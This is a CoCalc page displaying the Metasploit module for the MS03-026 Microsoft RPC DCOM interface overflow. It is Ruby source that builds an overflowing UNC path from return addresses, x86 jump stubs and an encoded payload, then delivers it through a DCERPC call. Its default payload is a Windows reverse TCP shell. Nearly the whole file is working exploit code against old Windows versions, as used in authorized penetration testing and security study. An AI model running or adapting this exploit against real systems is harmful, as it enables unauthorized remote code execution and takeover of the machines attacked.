CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/dcerpc/ms03_026_dcom.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::DCERPC
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'MS03-026 Microsoft RPC DCOM Interface Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in the RPCSS service, this vulnerability
18
was originally found by the Last Stage of Delirium research group and has been
19
widely exploited ever since. This module can exploit the English versions of
20
Windows NT 4.0 SP3-6a, Windows 2000, Windows XP, and Windows 2003 all in one request :)
21
},
22
'Author' => [ 'hdm', 'spoonm', 'cazz' ],
23
'License' => MSF_LICENSE,
24
'References' => [
25
[ 'CVE', '2003-0352' ],
26
[ 'OSVDB', '2100' ],
27
[ 'MSB', 'MS03-026' ],
28
[ 'BID', '8205' ],
29
],
30
'Privileged' => true,
31
'DefaultOptions' => {
32
'EXITFUNC' => 'thread',
33
'PAYLOAD' => 'windows/shell/reverse_tcp'
34
},
35
'Payload' => {
36
'Space' => 880,
37
'MinNops' => 300,
38
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
39
'StackAdjustment' => -3500
40
},
41
'Platform' => %w[win],
42
'Targets' => [
43
# Target 0: Universal
44
[
45
'Windows NT SP3-6a/2000/XP/2003 Universal',
46
{
47
'Platform' => 'win',
48
'Rets' =>
49
[
50
0x77f33723, # Windows NT 4.0 SP6a (esp)
51
0x7ffde0eb, # Windows 2000 writable address + jmp+0xe0
52
0x010016c6, # Windows 2000 Universal (ebx)
53
0x01001c59, # Windows XP SP0/SP1 (pop pop ret)
54
0x001b0b0b, # Windows 2003 call near [ebp+0x30] (unicode.nls - thanks Litchfield!)
55
0x776a240d, # Windows NT 4.0 SP5 (eax) ws2help.dll
56
0x74ff16f3, # Windows NT 4.0 SP3/4 (pop pop ret) rnr20.dll
57
]
58
},
59
],
60
],
61
'Notes' => {
62
'Stability' => [ CRASH_SERVICE_DOWN ],
63
'SideEffects' => [ IOC_IN_LOGS ],
64
'Reliability' => [ REPEATABLE_SESSION ]
65
},
66
'DefaultTarget' => 0,
67
'DisclosureDate' => '2003-07-16'
68
)
69
)
70
end
71
72
# don't bother with this module for autoexploitation, it creates
73
# false-positives on newer systems.
74
def autofilter
75
false
76
end
77
78
def check
79
begin
80
connect
81
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
82
return CheckCode::Safe("SMB error: #{e.message}")
83
end
84
85
handle = dcerpc_handle('4d9f4ab8-7d1c-11cf-861e-0020af6e7c57', '0.0', 'ncacn_ip_tcp', [rport])
86
87
begin
88
dcerpc_bind(handle)
89
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
90
return CheckCode::Safe("SMB error: #{e.message}")
91
end
92
93
CheckCode::Detected
94
end
95
96
def exploit
97
connect
98
print_status("Trying target #{target.name}...")
99
100
handle = dcerpc_handle('4d9f4ab8-7d1c-11cf-861e-0020af6e7c57', '0.0', 'ncacn_ip_tcp', [rport])
101
102
print_status("Binding to #{handle} ...")
103
104
begin
105
dcerpc_bind(handle)
106
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
107
fail_with(Failure::NotVulnerable, "SMB error: #{e.message}")
108
end
109
110
# Carefully create the combination of addresses and code for cross-os exploitation
111
xpseh = rand_text_alphanumeric(360, payload_badchars)
112
113
# Jump to [esp-4] - (distance to shellcode)
114
jmpsc =
115
"\x8b\x44\x24\xfc" + # mov eax,[esp-0x4]
116
"\x05\xe0\xfa\xff\xff" + # add eax,0xfffffae0 (sub eax, 1312)
117
Rex::Arch::X86.jmp_reg('eax') # jmp eax
118
119
# Jump to [ebp+0x30] - (distance to shellcode) - thanks again Litchfield!
120
jmpsc2k3 =
121
"\x8b\x45\x30" + # mov eax,[ebp+0x30]
122
"\x05\x24\xfb\xff\xff" + # add eax,0xfffffb24 (sub 1244)
123
Rex::Arch::X86.jmp_reg('eax') # jmp eax
124
125
# Windows 2003 added by spoonm
126
xpseh[246 - jmpsc2k3.length, jmpsc2k3.length] = jmpsc2k3
127
xpseh[246, 2] = Rex::Arch::X86.jmp_short("$-#{jmpsc2k3.length}")
128
xpseh[250, 4] = [ target['Rets'][4] ].pack('V')
129
130
xpseh[306, 2] = Rex::Arch::X86.jmp_short('$+8')
131
xpseh[310, 4] = [ target['Rets'][3] ].pack('V')
132
xpseh[314, jmpsc.length] = jmpsc
133
134
#
135
# NT 4.0 SP3/SP4 work the same, just use a pop/pop/ret that works on both
136
# NT 4.0 SP5 is a jmp eax to avoid a conflict with SP3/SP4
137
# HD wrote NT 4.0 SP6a, and it's off in a different place
138
#
139
# Our NT 4.0 SP3/SP4/SP5 overwrites will look something like this:
140
# (hopefully I'm accurate, this is from my memory...)
141
#
142
# |---pop pop ret-------- --eax---|
143
# V | | V
144
# [ jmp +17 ] [ ret sp3/4 ] [ ret sp5 ] [ jmpback sp5 ] [ jmpback sp3/4 ]
145
# 4 4 4 5 5
146
# | ^
147
# --------------------------------------------------|
148
# The jmpback's all are 5 byte backwards jumps into our shellcode that
149
# sits just below these overwrites...
150
#
151
152
nt4sp3jmp = Rex::Arch::X86.jmp_short("$+#{12 + 5}") +
153
rand_text(2, payload_badchars)
154
155
nt4sp5jmpback = "\xe9" + [ ((5 + 4 + payload.encoded.length) * -1) ].pack('V')
156
nt4sp3jmpback = "\xe9" + [ ((12 + 5 + 5 + payload.encoded.length) * -1) ].pack('V')
157
ntshiz =
158
nt4sp3jmp +
159
[ target['Rets'][6] ].pack('V') +
160
[ target['Rets'][5] ].pack('V') +
161
nt4sp5jmpback +
162
nt4sp3jmpback
163
164
# Pad to the magic value of 118 bytes
165
ntshiz += rand_text(118 - ntshiz.length, payload_badchars)
166
167
# Create the evil UNC path used in the overflow
168
uncpath =
169
Rex::Text.to_unicode('\\\\') +
170
make_nops(32) +
171
172
# When attacking NT 4.0, jump over 2000/XP return
173
Rex::Arch::X86.jmp_short(16) +
174
Rex::Arch::X86.jmp_short(25) +
175
[ target['Rets'][2] ].pack('V') + # Return address for 2000 (ebx)
176
[ target['Rets'][0] ].pack('V') + # Return address for NT 4.0 SP6 (esi)
177
[ target['Rets'][1] ].pack('V') + # Writable address on 2000 and jmp for NT 4.0
178
make_nops(88) +
179
Rex::Arch::X86.jmp_short(4) +
180
rand_text(4, payload_badchars) +
181
make_nops(8) +
182
Rex::Arch::X86.jmp_short(4) +
183
Rex::Arch::X86.jmp_short(4) +
184
make_nops(4) +
185
Rex::Arch::X86.jmp_short(4) +
186
rand_text(4, payload_badchars) +
187
payload.encoded +
188
ntshiz +
189
xpseh +
190
Rex::Text.to_unicode("\\\x00")
191
192
# This is the rpc cruft needed to trigger the vuln API
193
stubdata =
194
NDR.short(5) +
195
NDR.short(1) +
196
NDR.long(0) +
197
NDR.long(0) +
198
rand_text(16) +
199
NDR.long(0) +
200
NDR.long(0) +
201
NDR.long(0) +
202
NDR.long(0) +
203
NDR.long(0) +
204
NDR.long(rand(0xFFFFFFFF)) +
205
NDR.UnicodeConformantVaryingStringPreBuilt(uncpath) +
206
NDR.long(0) +
207
NDR.long(rand(0xFFFFFFFF)) +
208
NDR.long(rand(0xFFFFFFFF)) +
209
NDR.long(1) +
210
NDR.long(rand(0xFFFFFFFF)) +
211
NDR.long(1) +
212
NDR.long(rand(0xFFFFFFFF)) +
213
NDR.long(rand(0xFFFFFFFF)) +
214
NDR.long(rand(0xFFFFFFFF)) +
215
NDR.long(rand(0xFFFFFFFF)) +
216
NDR.long(1) +
217
NDR.long(1) +
218
NDR.long(rand(0xFFFFFFFF))
219
220
print_status("Calling DCOM RPC with payload (#{stubdata.length} bytes) ...")
221
222
begin
223
dcerpc_call(0, stubdata, nil, false)
224
rescue StandardError => e
225
raise e unless e.to_s.include?('STATUS_PIPE_DISCONNECTED')
226
end
227
228
handler
229
disconnect
230
end
231
end
232
233